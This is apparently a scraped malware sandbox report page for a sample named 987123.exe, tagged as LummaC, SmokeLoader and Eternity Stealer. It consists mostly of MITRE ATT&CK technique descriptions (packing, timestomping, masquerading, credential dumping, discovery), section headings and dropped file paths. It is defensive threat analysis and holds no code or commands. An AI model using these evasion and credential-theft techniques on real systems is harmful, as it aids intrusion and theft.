Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 987123.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: SmokeLoader

Threatname: Eternity Stealer

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Drivers\csrss.exe

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_2DF.exe_6f65e84f149d19a84da4813a5d70bd7598d20fa_29f65aaa_1941a887-1356-44f9-bc04-7edd280ef053\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_9D1E.exe_7afc46a1151c6f27e5f0db1a73280de54b87c76_903c3f09_136bbce2-380d-451d-9ab7-9d193e65bd38\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3F6.tmp.txt

Windows Analysis Report
987123.exe

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre